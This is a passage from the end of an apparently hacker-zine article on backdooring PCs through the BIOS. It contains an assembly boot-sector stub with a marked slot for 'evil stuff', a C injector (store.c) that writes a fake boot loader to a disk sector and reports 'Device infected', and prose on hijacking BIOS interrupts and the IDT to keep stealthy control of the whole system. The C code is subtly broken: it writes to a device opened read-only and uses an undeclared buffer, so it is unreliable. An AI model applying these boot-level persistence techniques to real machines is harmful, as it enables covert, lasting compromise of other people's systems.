next:				;; to jump to the new location
	
	;; load the true boot loader
	mov	dl, [drive]
	mov	ax, 0x07C0
	mov	es, ax
	mov	bx, 0
	mov	ah, 2
	mov	al, 1
	mov	ch, 0
	mov	cl, 1
	mov	dh, 0
	int	0x13

	;; do your evil stuff there (ie : infect the boot loader)
	nop
	nop
	nop	
	
	;; execute system
	jmp 	07C0h:0

	
size    equ     $ - entry
%if size+2 > 512
	%error "code is too large for boot sector"
%endif

times   (512 - size - 2) db 0	; fill 512 bytes
db      0x55, 0xAA		; boot signature

---


--[ store.c

/*
** code to be used to store a fake bootloader loaded by an infected BIOS
**
** usage is :
**		store <device to store on> <sector number> <file to inject>
**
** compile with : gcc store.c -o store
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define CODE_SIZE	512
#define SECTOR_SIZE	512

void	usage(char *cmd)
{
  fprintf(stderr, "usage is : %s <device> <sector> <code>", cmd);
  exit(0);
}


int	main(int argc, char **argv)
{
  int	off;
  int   i;
  int   devfd;
  int	codefd;
  int   cnt; 
  char  code[CODE_SIZE];
  
  if (argc != 4)
    usage(argv[0]);
  if ((devfd = open(argv[1], O_RDONLY)) == -1)
    { 
      fprintf(stderr, "error : could not open device\n");
      exit(1);
    } 
  off = atoi(argv[2]);
  if ((codefd = open(argv[3], O_RDONLY)) == -1)
    { 
      fprintf(stderr, "error : could not open code file\n");
      exit(1);
    } 
  for (cnt = 0; cnt != CODE_SIZE; cnt += i)
    if ((i = read(codefd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0) 
      { 
	fprintf(stderr, "error reading code\n");
	exit(1);
      }
  lseek(devfd, (off - 1) * SECTOR_SIZE, SEEK_SET);
  for (cnt = 0; cnt != CODE_SIZE; cnt += i)
    if ((i = write(devfd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0) 
      { 
	fprintf(stderr, "error reading code\n");
	exit(1);
      }
  close(devfd);
  close(codefd);
  printf("Device infected\n");
  return 0;				   
}

---


	Okay, now that we can load our code using the BIOS, time has come
to consider what we can do in this position. As we are nearly the first one
to have control over the system, we can do really interesting things.

	First, we can hijack BIOS interruptions and make them jump to
our code. This is interesting because instead of writing all the code in
the BIOS, we can now hijack BIOS routines having as much space as we need
and without having to do a lot of reverse engineering.

	Next, we can easily patch the boot loader on-thy-fly as it is our
own code which loads it. In fact, we don't even have to call the true
boot loader if we don't want to, we can make a fake one that loads a nicely
patched kernel based on the real one. Or you can make a fake boot loader
(or even patch the real one on-the-fly) that loads the real kernel and
patch it on the fly. The choice is up to you.

        Finally, I would talk about one last thing that came on my mind.
Combined with IDTR hijacking, patching the BIOS can assure us a complete
control of the system. We can patch the BIOS so that it loads our own boot
loader. This boot loader is a special one, in fact it loads a mini-OS of
our own which sets an IDT. Then, as we hijacked the IDTR register (there
are several ways to do it, the easiest being patching the target OS boot
process in order to prevent him to erase our IDT), we can then load the
true boot loader which will load the true kernel. At this time, our own os
will hijack the entire system with its own IDT proxying any interrupt you
want to, hijacking any event on the system. We even can use the system
clock as a scheduler forthe two OS : the tick will be caught by our own 
OS and depending the configuration (we can say for example 10% of the time 
for our OS and 90% for the real OS), we can execute our code or give the 
control to the real OS by jumping on its IDT.

	 You can do lot of things simply by patching the BIOS, so I suggest
you to implement your own ideas. Remember this is not so difficult,
documentation about this subject already exists and we can really do lots
of things. Just remember to use Bochs for tests before going in the wild,
it certainly isn't fun when smoke comes out of one of the motherboard's
chips...



5.  Conclusion


     So that's it, hardware can be backdoored quite easily. Of course,
what I demonstrated here was just a fast overview. We can do LOTS of things
with hardware, things that can assure us a total control of the computer
we're on and remain stealth. There is a huge work to do in this area as
more and more devices become CPU independent and implement many features
that can be used to do funny things. Imagination (and portability, sic...)
are the only limits.

   For people very interested in having fun in the hardware world, I
suggest to take a look at CPU microcode programming system
(start with the AMD K8 reverse engineering, see [18]), network cards
BIOSes and the PXE system.

(And hardware hacking can be a fun start to learn to fuck the TCPA system).



6.  References


[1] : The Art of Assembly Programming - Randall Hyde
(http://webster.cs.ucr.edu/AoA/index.html)

[2] : Linux Device Drivers - Alessandro Rubini, Jonathan Corbet
(http://www.xml.com/ldd/chapter/book/)

[3] : OpenGL
(http://www.opengl.org/)

[4] : Neon Helium Productions (NeHe)
(http://nehe.gamedev.net/)

[5] : GPGPU
(http://www.gpgpu.org)

[6] : HLSL tutorial
(http://msdn2.microsoft.com/en-us/library/bb173494.aspx)

[7] : GLSL tutorial
(http://nehe.gamedev.net/data/articles/article.asp?article=21)

[8] : The NVIDIA Cg Toolkit
(http://developer.nvidia.com/object/cg_toolkit.html)

[9] : NVIDIA Cg tutorial
(http://developer.nvidia.com/object/cg_tutorial_home.html)

[10] : nVIDIA CUDA (Compute Unified Device Architecture)
(http://developer.nvidia.com/object/cuda.html)

[11] : Implementing and Detecting an ACPI BIOS RootKit - John Heasman
(http://www.ngssoftware.com/jh_bhf2006.pdf)

[12] : /dev/bios - Stefan Reinauer
(http://www.openbios.info/development/devbios.html)

[13] : OpenBIOS initiative
(http://www.openbios.info/)

[14] : Award BIOS reverse engineering guide - Pinczakko
(http://www.geocities.com/mamanzip/Articles/Award_Bios_RE)

[15] : Wim's BIOS
(http://www.wimsbios.com/)

[16] : Bochs IA-32 Emulator Project
(http://bochs.sourceforge.net/)

[17] : Bochs BIOS source code
(http://bochs.sourceforge.net/cgi-bin/lxr/source/bios/rombios.c)

[18] : Opteron Exposed: Reverse Engineering AMD K8 Microcode Updates
(http://www.packetstormsecurity.nl/0407-exploits/OpteronMicrocode.txt)



7.  Thanks

     
     Without these people, this file wouldn't be, so thanks to them :

	* Auquen, for introducing me the idea of playing with hardware five
	years ago

	* Kad and Mayhem, for convincing me to write this article

	* Sauron, for always motivating me (nothing sexual)

	* Glenux, for pointing out CUDA

	* All people present to scythale's aperos, for helping me to get
	high in such ways I can come up with evil thinking (yeah, I was
	drunk when I decided to backdoor my hardware)


-- 
scythale@gmail.com
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